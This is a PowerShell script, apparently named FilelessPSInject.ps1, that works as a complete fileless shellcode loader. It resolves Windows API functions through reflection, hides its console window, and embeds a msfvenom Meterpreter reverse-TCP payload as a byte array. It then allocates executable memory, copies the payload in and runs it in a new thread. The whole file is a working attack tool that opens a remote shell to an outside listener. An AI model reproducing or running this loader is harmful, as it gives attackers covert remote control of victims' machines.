FilelessPSInject.ps1

function Get-ProcAddress {
    Param(
        [Parameter(Position = 0, Mandatory = $True)] [String] $Module,
        [Parameter(Position = 1, Mandatory = $True)] [String] $Procedure
    )


    $SystemAssembly = [AppDomain]::CurrentDomain.GetAssemblies() |
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split('\\')[-1].Equals('System.dll') }
    $UnsafeNativeMethods = $SystemAssembly.GetType('Microsoft.Win32.UnsafeNativeMethods')

    $GetModuleHandle = $UnsafeNativeMethods.GetMethod('GetModuleHandle')
    $GetProcAddress = $UnsafeNativeMethods.GetMethod('GetProcAddress', [Type[]]@([System.Runtime.InteropServices.HandleRef], [String]))

    $Kern32Handle = $GetModuleHandle.Invoke($null, @($Module))
    $tmpPtr = New-Object IntPtr
    $HandleRef = New-Object System.Runtime.InteropServices.HandleRef($tmpPtr, $Kern32Handle)

    return $GetProcAddress.Invoke($null, @([System.Runtime.InteropServices.HandleRef]$HandleRef, $Procedure))
}
function Get-DelegateType
{
    Param
    (
        [OutputType([Type])]
            
        [Parameter( Position = 0)]
        [Type[]]
        $Parameters = (New-Object Type[](0)),
            
        [Parameter( Position = 1 )]
        [Type]
        $ReturnType = [Void]
    )

    $Domain = [AppDomain]::CurrentDomain
    $DynAssembly = New-Object System.Reflection.AssemblyName('ReflectedDelegate')
    $AssemblyBuilder = $Domain.DefineDynamicAssembly($DynAssembly, [System.Reflection.Emit.AssemblyBuilderAccess]::Run)
    $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('InMemoryModule', $false)
    $TypeBuilder = $ModuleBuilder.DefineType('MyDelegateType', 'Class, Public, Sealed, AnsiClass, AutoClass', [System.MulticastDelegate])
    $ConstructorBuilder = $TypeBuilder.DefineConstructor('RTSpecialName, HideBySig, Public', [System.Reflection.CallingConventions]::Standard, $Parameters)
    $ConstructorBuilder.SetImplementationFlags('Runtime, Managed')
    $MethodBuilder = $TypeBuilder.DefineMethod('Invoke', 'Public, HideBySig, NewSlot, Virtual', $ReturnType, $Parameters)
    $MethodBuilder.SetImplementationFlags('Runtime, Managed')
        
    Write-Output $TypeBuilder.CreateType()
}

$VirtualAllocAddr = Get-ProcAddress kernel32.dll VirtualAlloc
$VirtualAllocDelegate = Get-DelegateType @([IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr])
$VirtualAlloc = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocAddr, $VirtualAllocDelegate)

$CreateThreadAddr = Get-ProcAddress Kernel32.dll CreateThread
$CreateThreadDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr], [IntPtr], [UInt32], [IntPtr]) ([IntPtr])
$CreateThread = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($CreateThreadAddr, $CreateThreadDelegate)

$WaitForSingleObjectAddr = Get-ProcAddress kernel32.dll WaitForSingleObject
$WaitForSingleObjectDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([UInt32])
$WaitForSingleObject = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($WaitForSingleObjectAddr, $WaitForSingleObjectDelegate)

$GetConsoleWindowAddr = Get-ProcAddress kernel32.dll GetConsoleWindow
$GetConsoleWindowDelegate = Get-DelegateType @() ([IntPtr])
$GetConsoleWindow = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($GetConsoleWindowAddr, $GetConsoleWindowDelegate)

$ShowWindowAddr = Get-ProcAddress user32.dll ShowWindow
$ShowWindowDelegate = Get-DelegateType @([IntPtr], [UInt32]) ([bool])
$ShowWindow = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($ShowWindowAddr, $ShowWindowDelegate)

# Hide the Console Window
$ConsoleHandle = $GetConsoleWindow.Invoke()
$ShowWindow.Invoke(([IntPtr]$ConsoleHandle), 0)

# msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=<LHOST> LPORT=<LPORT> EXITFUNC=thread --smallest -f ps1
[Byte[]] $shellcode = 0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xcc,0x0,0x0,0x0,0x41,0x51,0x41,0x50,0x52,0x51,0x48,0x31,0xd2,0x56,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0xf,0xb7,0x4a,0x4a,0x48,0x8b,0x72,0x50,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x2,0x2c,0x20,0x41,0xc1,0xc9,0xd,0x41,0x1,0xc1,0xe2,0xed,0x52,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x41,0x51,0x48,0x1,0xd0,0x66,0x81,0x78,0x18,0xb,0x2,0xf,0x85,0x72,0x0,0x0,0x0,0x8b,0x80,0x88,0x0,0x0,0x0,0x48,0x85,0xc0,0x74,0x67,0x48,0x1,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x1,0xd0,0xe3,0x56,0x4d,0x31,0xc9,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x1,0xd6,0x48,0x31,0xc0,0x41,0xc1,0xc9,0xd,0xac,0x41,0x1,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x3,0x4c,0x24,0x8,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x1,0xd0,0x66,0x41,0x8b,0xc,0x48,0x44,0x8b,0x40,0x1c,0x49,0x1,0xd0,0x41,0x8b,0x4,0x88,0x48,0x1,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4b,0xff,0xff,0xff,0x5d,0x49,0xbe,0x77,0x73,0x32,0x5f,0x33,0x32,0x0,0x0,0x41,0x56,0x49,0x89,0xe6,0x48,0x81,0xec,0xa0,0x1,0x0,0x0,0x49,0x89,0xe5,0x49,0xbc,0x2,0x0,0x1,0xbb,0xc0,0xa8,0x80,0x80,0x41,0x54,0x49,0x89,0xe4,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x7,0xff,0xd5,0x4c,0x89,0xea,0x68,0x1,0x1,0x0,0x0,0x59,0x41,0xba,0x29,0x80,0x6b,0x0,0xff,0xd5,0x6a,0xa,0x41,0x5e,0x50,0x50,0x4d,0x31,0xc9,0x4d,0x31,0xc0,0x48,0xff,0xc0,0x48,0x89,0xc2,0x48,0xff,0xc0,0x48,0x89,0xc1,0x41,0xba,0xea,0xf,0xdf,0xe0,0xff,0xd5,0x48,0x89,0xc7,0x6a,0x10,0x41,0x58,0x4c,0x89,0xe2,0x48,0x89,0xf9,0x41,0xba,0x99,0xa5,0x74,0x61,0xff,0xd5,0x85,0xc0,0x74,0xc,0x49,0xff,0xce,0x75,0xe5,0x68,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x83,0xec,0x10,0x48,0x89,0xe2,0x4d,0x31,0xc9,0x6a,0x4,0x41,0x58,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x83,0xc4,0x20,0x5e,0x89,0xf6,0x6a,0x40,0x41,0x59,0x68,0x0,0x10,0x0,0x0,0x41,0x58,0x48,0x89,0xf2,0x48,0x31,0xc9,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x89,0xc3,0x49,0x89,0xc7,0x4d,0x31,0xc9,0x49,0x89,0xf0,0x48,0x89,0xda,0x48,0x89,0xf9,0x41,0xba,0x2,0xd9,0xc8,0x5f,0xff,0xd5,0x48,0x1,0xc3,0x48,0x29,0xc6,0x48,0x85,0xf6,0x75,0xe1,0x41,0xff,0xe7;
$size = $shellcode.Length;

# Allocate memory
$MemoryHandle = [IntPtr]::Zero
$MemoryHandle = $VirtualAlloc.Invoke([IntPtr]::Zero, $size, 0x3000, 0x40);

# Copy shellcode into allocated memory
[System.Runtime.InteropServices.Marshal]::Copy($shellcode, 0, $MemoryHandle, $size) | Out-Null

# Create a thread and execute the shellcode
$ThreadHandle = $CreateThread.Invoke([IntPtr]::Zero, 0, $MemoryHandle, [IntPtr]::Zero, ([UInt32]0), ([IntPtr]0)) | Out-Null

# Make the thread run forever
$WaitForSingleObject.Invoke(([IntPtr]$ThreadHandle), [uint32]"0xFFFFFFFF") | Out-Null